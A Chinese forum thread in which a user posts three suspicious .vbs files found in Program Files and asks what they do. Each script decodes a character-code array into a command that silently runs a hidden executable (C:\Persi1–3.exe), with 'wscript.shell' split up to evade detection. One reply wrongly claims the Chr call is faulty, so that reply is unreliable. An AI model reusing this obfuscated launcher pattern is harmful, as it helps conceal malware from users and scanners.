目录下有个.vbs文件，大家知道是干什么的嘛？
偶然在C:\Program Files目录下看到3个.vbs文件(1.vbs,2.vbs,3.vbs),不知道是不是病毒，把原代码发上来大家帮助分析一下,原代码如下：
1.vbs:
--------
Str = Array(119,115,99,114,105,112,116,46,115,108,101,101,112,32,48,32,13,10,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,34,38,34,115,34,38,34,99,114,105,112,116,34,38,34,46,115,104,101,34,38,34,108,108,34,41,46,114,117,110,32,34,67,58,92,80,101,114,115,105,49,46,101,120,101,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
2.vbs
---------
Str = Array(119,115,99,114,105,112,116,46,115,108,101,101,112,32,48,32,13,10,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,34,38,34,115,34,38,34,99,114,105,112,116,34,38,34,46,115,104,101,34,38,34,108,108,34,41,46,114,117,110,32,34,67,58,92,80,101,114,115,105,50,46,101,120,101,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
3.vbs
-----------
Str = Array(119,115,99,114,105,112,116,46,115,108,101,101,112,32,48,32,13,10,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,34,38,34,115,34,38,34,99,114,105,112,116,34,38,34,46,115,104,101,34,38,34,108,108,34,41,46,114,117,110,32,34,67,58,92,80,101,114,115,105,51,46,101,120,101,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
谢谢大家了！
[解决办法]
这个是VB的脚本文件（vbscript）
不知道是不是你自己做的
如果不是的话，删除吧
[解决办法]
vbs脚本文件，CHR（STR（I））好像有问题
chr(charcode(long值））返回 String，其中包含有与指定的字符代码相关的字符 。
